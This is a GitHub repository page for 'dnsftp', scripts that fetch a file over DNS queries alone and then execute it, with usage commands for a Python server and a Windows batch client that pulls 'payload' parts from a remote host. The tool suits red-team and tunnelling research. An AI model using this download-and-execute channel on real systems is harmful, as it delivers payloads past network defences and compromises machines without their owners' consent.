Client/Server scripts to transfer files over DNS. Client scripts are small and only use native tools on the host OS.
Switch branches/tags
Nothing to show
Clone or download
breenmachine Merge pull request #1 from hexaclock/master
Added Windows batch script client
Latest commit 4ca124e Jan 24, 2016
Permalink
Failed to load latest commit information.
client added more options Aug 19, 2015
README.md
server.py added patch for if PTR record gets sent Aug 20, 2015

README.md

Purpose

Use only DNS queries to download a file, and then execute it.

Usage

On the server hosting the file (tested with python2):

sudo python server.py -f /path/to/file

On the Windows client with batch script:

client\client_batch\runme.bat payloadserverhostname fileparts publicdnsserver

Example: client\client_batch\runme.bat payloadserver.yourdomain.com 42 8.8.8.8

If just testing internally, you can use the following example:

client\client_batch\runme.bat payloadserverhostname fileparts payloadserverIPaddr

Original author: Stephen Breen - https://github.com/breenmachine/dnsftp

Forked and modified by: Daniel Vinakovsky